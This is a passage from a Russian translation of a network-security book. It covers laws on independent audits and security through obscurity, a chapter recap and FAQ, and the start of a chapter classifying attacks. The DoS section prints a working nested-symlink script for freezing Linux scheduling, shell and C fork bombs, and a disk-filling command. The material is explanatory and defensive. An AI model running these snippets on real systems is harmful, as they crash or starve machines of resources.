Защита от хакеров корпоративных сетей

Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна пройти независимый аудит безопасности

Писатели знают, что они не в состоянии качественно вычитать корректуру своей собственной работы. Программисты должны знать, что они не смогут протестировать на ошибки свои собственные программы. Большинство компаний, разрабатывающих программное обеспечение, понимая это, нанимают тестировщиков программного обеспечения. Они ищут ошибки в программах, которые препятствуют выполнению заявленных функций. Это называется функциональным тестированием.

Функциональное тестирование значительно отличается от тестирования безопасности, хотя на первый взгляд это близкие понятия. Оба тестирования ищут дефекты программ, правильно? И да, и нет. Тестирование безопасности требует гораздо более глубокого анализа программы и обычно включает экспертизу исходного кода программы. Функциональное тестирование проводится для гарантии того, что большой процент пользователей сможет эксплуатировать программу без жалоб. Защититься от среднего пользователя, случайно споткнувшегося на проблеме, намного легче, чем попытаться защититься от хорошо осведомленного хакера, пытающегося взломать программу любым доступным ему способом.

Даже без подробного обсуждения того, что собой представляет аудит безопасности, его необходимость очевидна. Сколько коммерческих средств подвергается проверке безопасности? Практически ни одно. Обычно даже те немногие, которые имеют хотя бы поверхностный обзор безопасности, считаются безопасными. Хотя позднее часто становится очевидным, что они не прошли должную проверку.

Заметьте, что этот закон содержит слово «начала». Аудит безопасности – только один шаг в процессе создания безопасных систем. Для того чтобы понять, что в защите систем программного обеспечения полно недостатков, достаточно лишь ознакомиться с архивами списка отчетов любой уязвимости. Более того, можно увидеть одни и те же ошибки, неоднократно допущенные различными производителями программного обеспечения. Ясно, что это относится к классу систем, не подвергавшихся аудиту даже в минимальном объеме.

Вероятно, OpenBSD представляет собой один из наиболее интересных примеров роли аудита в разработке более безопасной системы программного обеспечения. С самого начала в проекте OpenBSD, являющемся ответвлением от главного проекта NetBSD, было решено обратить особое внимание на вопросы безопасности. Команда разработчиков OpenBSD потратила пару лет, занимаясь аудитом исходного кода для поиска и устранения ошибок. Разработчики исправляли любые найденные ошибки независимо от того, относились они к безопасности или нет. При нахождении общей ошибки они возвращались назад и просматривали все исходные коды, чтобы убедиться в том, что подобная ошибка не была сделана где-нибудь еще.

В конечном результате OpenBSD часто считается одной из наиболее безопасных операционных систем. Часто, когда обнаруживается новая ошибка в операционных системах NetBSD или FreeBSD (другой вариант BSD систем), в аналогичных условиях признается неуязвимость OpenBSD. Иногда причиной подобной неуязвимости является решение выявленной в других системах проблемы (случайно) во время обычного процесса исправления всех ошибок. В других случаях недостаток системы защиты был ранее выявлен и устранен. И в этих случаях системы NetBSD и FreeBSD (если в их составе была та же самая часть программного кода) были уязвимы, потому что никто не просматривал базу данных новых исправлений ошибок в OpenBSD (все исправления в OpenBSD обнародованы).

Примечание

Этот закон используется в главах 4, 5, 8 и 9.

Закон 11. Безопасность нельзя обеспечить покровом тайны

В основе обеспечения безопасности покровом тайны (STO – «security through obscurity») лежит идея о том, что что-то безопасно только в силу своей неочевидности, отсутствия рекламы или интереса с чьей-либо стороны. Хорошим примером является новый Web-сервер. Предположим, что вы разрабатываете новый Web-сервер, доступный пользователям сети Интернет. Вы можете подумать, что поскольку вы еще не зарегистрировали имя службы имен доменов DNS и нет пока ссылок на новый Web-сервер, то можно отложить реализацию защитных мер компьютера до начала ввода в эксплуатацию Web-сервера.

Проблема заключается в том, что сканирование портов стало постоянным явлением в Интернете. В зависимости от вашей удачи обнаружение вашего Web-сервера, вероятнее всего, – вопрос нескольких дней или даже часов. Почему разрешено сканирование портов? В большинстве случаев сканирование портов вполне законно, и большинство Интернет-провайдеров ничего не будет предпринимать в ответ на ваше заявление о том, что у вас сканировали порты.

Что может произойти в результате сканирования портов? Огромное большинство систем и пакетов программ небезопасны после их установки на компьютер. Другими словами, если вы подключаетесь к Интернету, ваш компьютер может быть относительно легко взломан, если вы не предпримите активных действий по укреплению его безопасности. Большинство злоумышленников, сканирующих порты, ищут известные им уязвимости. Если они присущи вашей системе, то у злоумышленников найдется программа, которая скомпрометирует Web-сервер за секунды. Если удача сопутствует вам, вы обнаружите сканирование портов. Если нет, вы могли бы продолжать «защищать» хост и только позже выяснить, что злоумышленник оставил лазейку (backdoor), которую вы не смогли заблокировать, потому что к этому времени были скомпрометированы.

Хуже всего то, что в последнее время огромное количество «червей» стало постоянным атрибутом Интернета. Они постоянно занимаются сканированием, выискивая новые жертвы типа только что появившихся незащищенных Web-серверов. Даже когда черви настроены миролюбиво, любой хост в Интернете подвергается зондированию пару раз в день. А когда черви агрессивны, то всякий хост зондируется каждые несколько минут за время жизни необновленного Web-сервера. Не следует думать, что оставленная брешь в системе защиты или ее нестабильная работа не сулит никаких неприятностей только в силу вашего предположения о невозможности обнаружения этого кем-либо. Через минуту новая дырка в системе защиты будет обнаружена, а вы – беззащитны. Злоумышленнику нет необходимости проводить многочисленные исследования раньше срока, поэтому он терпеливо выжидает. Часто сведения о дефектах в защите программ разглашаются очень быстро, что приводит к атакам на уязвимости слабозащищенных систем.

Неопределенность освещения некоторых вещей не обязательно плоха. Просто вы не хотите делиться информацией больше, чем это нужно вам. Вы можете воспользоваться преимуществами «темной лошадки», но не слишком полагайтесь на это. Одновременно тщательно рассмотрите возможности разработки сервера, вплоть до предоставления общественности исходных текстов программ сервера, для того чтобы специалисты смогли проанализировать их и при необходимости исправить найденные ошибки. При этом будьте готовы к одной или двум итерациям работы над исправлением брешей в системе защиты, прежде чем программа станет безопасной.

В какой степени необходима секретность? Одна из проблем обеспечения безопасности путем умалчивания состоит в том, что не существует соглашения, что именно следует хранить в тайне и что может рассматриваться как действительная тайна. Например, является ли ваш пароль тайной или просто «умолчанием», вероятно, зависит от способа обращения с ним. Если вы положили клочок бумажки с записанным паролем под клавиатуру в надежде, что его никто не найдет, то именно это авторы и называют неработоспособностью засекреченной безопасности, или говорят просто «мрак». (Между прочим, авторы прежде всего там его и искали бы. В компании, где работал один из авторов, использовали стальные кабели с замками, чтобы прикрепить компьютеры к столам. Его часто вызывали для перемещения компьютеров, а пользователи не раз забывали необходимые меры предосторожности при работе с ключами. Автор искал ключи в следующей последовательности: держатель карандаша, под клавиатурой, верхний ящик стола. При поиске ключа у него были 50 %-ные шансы на успех.)

Размышления по этому поводу основаны на здравом смысле. Личное мнение авторов по этому поводу состоит в том, что нельзя обеспечить безопасность замалчиванием проблемы. Не имеет значения, говорите ли вы о ключе от дома под дверным ковриком или о 128-битном криптографическом ключе. Вопрос состоит в том, знает ли злоумышленник то, что ему нужно, сможет ли он раскрыть нужную ему информацию. Одна из причин, по которой вам следует прочесть книгу, заключается в конкретном изучении, что злоумышленник может сделать. Многие системы и сайты просуществовали длительное время под покровом секретности, укрепляя свою веру, что нет никаких оснований для нападения на них. Мы увидим, является ли их компрометация вопросом времени или нет.

Примечание

Этот закон используется в главах 4 и 5.

Резюме

В этой главе авторы попробовали предварительно познакомить читателя с основными законами безопасности, апробированными в ходе их систематического практического применения. По мере изучения книги авторы подробно остановятся на обсуждении упомянутых в этой главе законов. Авторы изучили множество тем из различных сфер деятельности, чтобы сформулировать законы безопасности, отражающие их взгляды на эти вопросы. Они в общих чертах осветили некоторые положения безопасности, которые, возможно, малоизвестны читателю. Это должно способствовать развитию новых взглядов на некоторые типы уязвимости сетей. Авторы рассмотрели основы криптографии, а также начали рассматривать межсетевые экраны, программы обнаружения вирусов и системы обнаружения вторжения и заодно модификацию программного кода для их обмана, аудит и вопросы обеспечения безопасности при помощи засекречивания. Как читатель смог убедиться, не все законы абсолютны. Скорее они определяют направление работ, проводимых в попытках определить необходимые меры по обеспечению безопасности. Все эти работы нуждаются в постоянной оценке и внимании, если действительно решается задача обезопасить системы от атак злоумышленника.

Конспект

Обзор законов безопасности

· Рассмотрены законы.

· Законы нужно знать для того, чтобы сделать систему более безопасной.

· Помните, что законы изменяются.

Закон 1. Невозможно обеспечить безопасность клиентской части

· Безопасность клиентской части целиком определяется клиентом.

· У пользователя всегда есть возможности для взлома системы защиты, потому что у него физический доступ к компьютеру.

· Если у злоумышленника достаточно времени и ресурсов, то безопасность клиентской части невозможна.

Закон 2. Нельзя организовать надежный обмен ключами шифрования без совместно используемой порции информации

· Общая информация используется для идентификации компьютеров до установления сетевого соединения.

· Вы можете обмениваться общими секретными ключами (shared private keys) или использовать протокол безопасных соединений SSL при работе с браузером.

· Обмен ключами уязвим к атаке типа MITM (злоумышленник посередине (MITM).

Закон 3. От кода злоумышленника нельзя защититься на 100 %

· Программное обеспечение несовершенно.

· Программное обеспечение обнаружения вирусов и Троянских коней основано на исследовании сигнатуры файлов.

· Незначительные изменения в коде сигнатуры приводят к необнаружению измененного кода до момента выпуска следующего файла сигнатуры.

Закон 4. Всегда может быть создана новая сигнатура кода, которая не будет восприниматься как угроза

· Злоумышленники могут быстро изменить характерные признаки или сигнатуру файла.

· Злоумышленники могут использовать сжатие, шифрование и пароли для изменения сигнатуры кода.

· Нельзя защититься от каждой возможной модификации.

Закон 5. Межсетевые экраны не защищают на 100 % от атаки злоумышленника

· Межсетевые экраны – это программные или аппаратные, или программно-аппаратные средства ЭВМ.

· Главная функция межсетевых экранов состоит в фильтрации входных и выходных пакетов.

· Успешные атаки возможны в результате ошибочных правил, несовершенной политики безопасности и проблем с обслуживанием межсетевых экранов.

Закон 6. От любой системы обнаружения атак можно уклониться

· Системы обнаружения вторжения – часто пассивные системы.

· Для злоумышленника трудно обнаружить присутствие системы обнаружения вторжения.

· Эффективность системы обнаружения вторжения снижается в результате неверной конфигурации и недостатков обслуживания.

Закон 7. Тайна криптографических алгоритмов не гарантируется

· Хорошие криптографические алгоритмы обеспечивают высокую степень защиты.

· Большинство криптографических средств не подвергаются достаточному исследованию и тестированию до начала использования.

· Единые алгоритмы используются в различных областях. Взломать их трудно, хотя и возможно.

Закон 8. Без ключа у вас не шифрование, а кодирование

· Этот закон универсален, не существует никаких исключений.

· Шифрование используется, чтобы защитить результат кодирования. Если ключ не используется, то нельзя ничего зашифровать.

· Ключи должны храниться в тайне, иначе ни о какой безопасности не может быть и речи.

Закон 9. Пароли не могут надежно храниться у клиента, если только они не зашифрованы другим паролем

· Пароли, сохраненные на компьютере клиента, легко обнаружить.

· Если пароль хранится в открытом виде (незашифрованным), то это небезопасно.

· Безопасное хранение паролей на компьютере клиента предполагает вторичный механизм обеспечения безопасности.

Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна проити независимый аудит безопасности

· Аудит – начало хорошего анализа систем безопасности.

· Системы безопасности часто не анализируются должным образом, что ведет к их дефектам.

· Внешняя проверка имеет решающее значение для защиты; ее отсутствие – дополнительное условие для атаки злоумышленником.

Закон 11. Безопасность нельзя обеспечить покровом тайны

· Скрыть что-либо – не значит обеспечить безопасность этого.

· Необходима упреждающая защита.

· Использование только скрытия информации способствует компрометации.

Часто задаваемые вопросы

Вопрос: Сколько усилий я должен приложить для применения рассмотренных законов безопасности к интересующей меня специфической системе?

Ответ: Если вы исследуете систему для определения степени ее безопасности, то вполне можете использовать законы непосредственно, предварительно оценив время, которое вы можете потратить на исследование. Если анализируемая система общедоступна, то в Интернете вы наверняка найдете примеры использования вашей системы. Вероятно, вам придется потратить достаточно времени на проверку законов безопасности. Если законы безопасности будут применяться для анализа уникальных систем, то время исследования может увеличиться.

Вопрос: В какой степени я буду защищен после самостоятельного исследования системы?

Ответ: Частично это зависит от приложенных вами усилий. Если вы потратили разумное количество времени, то, вероятно, вы выявили очевидные изъяны в системе защите. Это уже гарантия вашей защищенности, поскольку начинающие хакеры именно их и будут искать. Даже если вы стали целью талантливого злоумышленника, он все равно может начать с них, и первые неудачи могут отпугнуть его. Поскольку вы, вероятно, найдете еще что-то за время своего исследования и обнародуете свои результаты, то каждый будет знать о найденных изъянах в системе защиты. Имейте в виду, что вы защищены против того, о чем вы знаете, но не против того, чего не знаете. Поэтому лучше поднять тревогу по поводу обнаруженных изъянов. Тем более что их устранение может оказаться непосильной задачей для систем с недоступными исходными текстами программ.

Вопрос: Когда я нахожу брешь в системе защиты, что я должен сделать?

Ответ: Ваши действия подробно описаны в главе 18. У вас есть выбор: или обнародовать все сведения о найденной бреши, привлекая максимально возможное внимание производителя системы, или самому написать код по ее устранению, если это возможно.

Вопрос: Как я смогу пройти путь от констатации проблемы до ее решения?

Ответ: Многие из глав этой книги посвящены описанию «дыр» в системе защиты. Некоторые «дыры» очевидны, например кодирование пароля в приложении. Другие могут потребовать применения дизассемблирования и методов криптографического анализа. Даже если вы очень хороший специалист, всегда найдутся методы, алгоритмы или аппаратура вне вашей компетенции. Поэтому вам предстоит решить, хотите ли вы развить свои профессиональные навыки дальше или обратиться за помощью к эксперту.

Глава 3
Классы атак

В этой главе обсуждаются следующие темы:

• Обзор классов атак

• Методы тестирования уязвимостей

· Резюме

· Конспект

· Часто задаваемые вопросы

Введение

Об опасности атаки судят по ущербу, который может быть нанесен скомпрометированной системе в результате нападения. Для домашнего пользователя худшее, что может произойти, – это стать жертвой атаки, приводящей к запуску программы злоумышленника на его компьютере. В то же время для компаний электронной коммерции опаснее атака, приводящая к отказу в обслуживании (DoS-атака, DoS – denial of service) или утечке информации, потому что она чревата более тяжкими последствиями. Любая уязвимость системы, которая может привести к компрометации, оценивается применительно к одному из известных классов атак. Зная сильные и слабые стороны класса атаки, можно предварительно оценить как его опасность, так и сложность защиты от него.

В этой главе рассматриваются классы атак, извлекаемая злоумышленником выгода из их осуществления и возможный ущерб, наносимый ими.

Обзор классов атак

Каждая атака принадлежит к определенному классу атак. Последствия атаки могут быть самыми различными: атакованная система может быть выведена из строя или удаленный злоумышленник сможет полностью контролировать ее. О последствиях атак речь пойдет в специальном разделе этой главы. Сначала рассмотрим классификацию атак, в основу которой положен наносимый ими ущерб.

Можно выделить семь классов атак, последствия которых отражают общие критерии оценки проблем безопасности:

• отказ в обслуживании (Denial of service);

• утечка информации;

• нарушения прав доступа к файлу;

• дезинформация;

• доступ к специальным файлам / базам данных;

• удаленное выполнение программ (Remote arbitrary code execution);

• расширение прав (Elevation of privileges).

Отказ в обслуживании

Что собой представляет атака, приводящая к отказу в обслуживании (DoS-атака)? О DoS-атаке говорят в том случае, когда в результате действий злоумышленника ресурс заблокирован или его функциональные возможности существенно ограничены. Другими словами, атака препятствует доступности ресурса его постоянным авторизованным пользователям. Атаки этого класса могут осуществляться как локально на автономной системе, так и удаленно через сеть. Они направлены на ограничение функциональных возможностей процессов, уменьшение объема запоминаемой информации, разрушение файлов. Подобные атаки преследуют цель сделать ресурс непригодным для работы или добиться завершения работы системы или процессов. Рассмотрим DoS-атаки подробнее.

Локальная DoS-атака

Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.

Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).

Снижение функциональных возможностей процесса

По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.

Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):

#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=“”

I=0

while [ $I -lt $ELNUM ] ; do

P=$P“$EL”

I=$(($I+1))

done

ln -s “$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l

Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:

($0 & $0 &)

Код на языке С следующий:

(main() {for(;;)fork();})

В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.

Переполнение диска

Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.

Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.

Если при планировании работы с диском не было предусмотрено разбиение диска на раздел(ы) для пользователей и, отдельно, раздел(ы) для журналов регистрации, то злоумышленник может воспользоваться этим типом DoS-атаки для достижения аварийного отказа системы. Он может также воспользоваться этим типом атаки для затруднения работы пользователей: при генерации большого количества событий, регистрируемых в системном журнале syslog, расходуется отведенная разделу журналов регистрации дисковая память, и при ее исчерпании нельзя зарегистрировать новые события в журнале syslog.

Реализация такой атаки тривиальна. Пользователю локального компьютера достаточно выполнить следующую команду:

cat /dev/zero > ~/maliciousfile

Эта команда свяжет файл устройства /dev/zero (который просто генерит нули) с файлом злоумышленника. Команда будет продолжаться до тех пор, пока пользователь не прекратит ее выполнение или не будет заполнен диск.

Для усиления разрушительного эффекта атаки, направленной на исчерпание дисковой памяти, можно воспользоваться идеей бомбежки почты. Хотя это старая идея, на практике она почти не применяется. Возможно, из-за того, что на основе анализа заголовков пакетов протокола SMTP путь электронной почты легко проследить. И хотя для передачи пакетов могут использоваться открытые ретрансляторы (open relays), поиск отправителя почтовой бомбы – не очень сложная задача. Поэтому большинство бомбардировщиков почты окажется или без Интернета, или в тюрьме, или одновременно и там, и там.

Истощение индексных узлов

Несмотря на разные цели, атаки, направленные на истощение индексных узлов, похожи на предыдущий тип DoS-атаки, ориентированный на переполнение диска. Локальные DoS-атаки истощения индексных узлов изначально ориентированы на тот или иной тип файловой системы. Индексные узлы – обязательная часть файловой системы UNIX.

Индексные узлы содержат важную информацию файловой системы. Как минимум, это сведения о владельце файлов, групповом членстве файлов, их типе, разрешениях, размере и адресах блоков, содержащих данные файла. При форматировании файловой системы создается конечное число индексных узлов для обработки индексов файлов каждой группы.

Ориентированные на истощение индексных узлов DoS-атаки стараются использовать все доступные индексные узлы раздела. Истощение этих ресурсов создает ситуацию, подобную той, которая происходит в случае нехватки места на диске. В результате система не может создавать новые файлы. Этот класс атак обычно используется для нанесения ущерба системе и препятствования регистрации системных событий, особенно действий злоумышленника.

Сетевые DoS-атаки

Сетевые DoS-атаки, преследующие цель вывода подключенного к сети компьютера (или компьютеров) из строя, могут быть отнесены к одному из двух подклассов: нападение на какую-либо службу системы или нападение на систему в целом. Такие атаки могут быть очень опасными. Эти типы атак были придуманы для создания дискомфорта пользователям и предпринимаются злоумышленником как карательные акции.

Характеризуя людей, стоящих за подобными атаками, следует сказать, что DoS-атаки из сети – в основном метод действия малодушных людей, пытающихся уйти от ответственности за совершенные действия. Любые оправдания DoS-атак из сети несостоятельны. Свободно распространяемый и легкодоступный инструментарий создал субкультуру, называемую миром возможностей новичков-недоумков (script kiddiot), способных только на то, чтобы запустить нужный сценарий. (Автор позаимствовал неологизм, придуманный Джосом Оквендо (Jose Oquendo) – автором известной программы antiofiline.com.) Выражение новичок-недоумок произошло от базового словосочетания, в котором сценарий определяется как «предварительно написанная программа, запускаемая пользователем», а словообразование новичок-недоумок (kiddiot) является комбинацией слов ребенок и недоумок. Очень доходчиво. Доступность существующего инструментария позволяет им причинять неудобства, оставаясь при этом анонимными. При этом пользователям совсем не обязательно утруждать себя хотя бы минимальными техническими знаниями. Единственные, кто несет за подобные атаки большую ответственность, чем новички-недоумки, – это группа профессионалов, создающих условия для подобных атак.

DoS-атаки из сети, как уже было сказано, могут быть направлены на службы или систему в целом в зависимости от того, какую цель преследует атака и почему. Они могут быть подразделены на атаки, направленные для достижения отказа в обслуживания клиентской части, сервисов или систем. В следующих разделах каждый из этих типов атак будет рассмотрен более детально.

Сетевые DoS-атаки на клиентскую часть

Специальные программы ориентированы на достижение отказа в обслуживании клиентской части. Они преследуют следующую цель: добиться невозможности выполнения клиентской частью запросов пользователя. Примером подобной атаки являются так называемые бомбы JavaScript (JavaScript bombs).

По умолчанию большинство Web-браузеров разрешают использование сценария на языке JavaScript. То, что это действительно так, можно заметить во время посещения Web-сайта, когда отображается всплывающая или фоновая (pop-under) реклама. К сожалению, злоумышленник может использовать возможности JavaScript преступным образом, например для атаки с целью достижения отказа обслуживания клиентской части. Используя ту же самую технику, что и рекламодатели для создания нового рекламного окна, злоумышленник может создать злонамеренную Web-страницу, состоящую из бесконечного цикла создания окон. В конечном счете всплывет так много окон, что система исчерпает все свои ресурсы.

Это был пример атаки на клиентскую часть для достижения отказа в обслуживании пользователя в результате исчерпания ресурсов. Принцип атаки аналогичен ранее описанному, но теперь атака организована через сеть. Это только одна из многих атак на клиентскую часть. Другие используют возможности таких программ, как AOL Instant Messenger, ICQ Instant Message Client и аналогичные им.

Сетевые DoS-атаки на сервисы

Другим представителем класса сетевых DoS-атак являются сетевые DoS-атаки на сервисы. Они предназначены для нападения на выбранные для атаки сервисы, для того чтобы добиться их недоступности для авторизованных пользователей. Подобные атаки обычно осуществляются при помощи таких используемых пользователями сервисов, как демон протокола передачи гипертекста (Hypertext Transfer Protocol Daemon – HTTPD), агент доставки почты (Mail Transport Agent – MTA) и др.

Иллюстрацией подобной проблемы служит уязвимость, которая случайно была обнаружена в инфраструктуре Web-конфигурации операционной системы фирмы Cisco CBOS (Cisco Broadband Operating System). После появления на свет червя Code Red, который создавался, ориентируясь на Wed-сервера с IIS (Internet Information Server) 5.0 фирмы Микрософт, было обнаружено, что червь неразборчив к типу атакуемого Web-сервера. Червь сканировал сети в поисках Web-серверов и предпринимал попытки атаковать любой встретившийся сервер.

Побочный эффект червя проявился в том, что хотя некоторые хосты оказались ему не по зубам, другие хосты, в частности хосты с CBOS, оказались подверженными другой опасности: прием от хостов, инфицированных Code Red, многократных запросов на соединение с использованием протокола TCP через порт 80 приводил к аварии CBOS.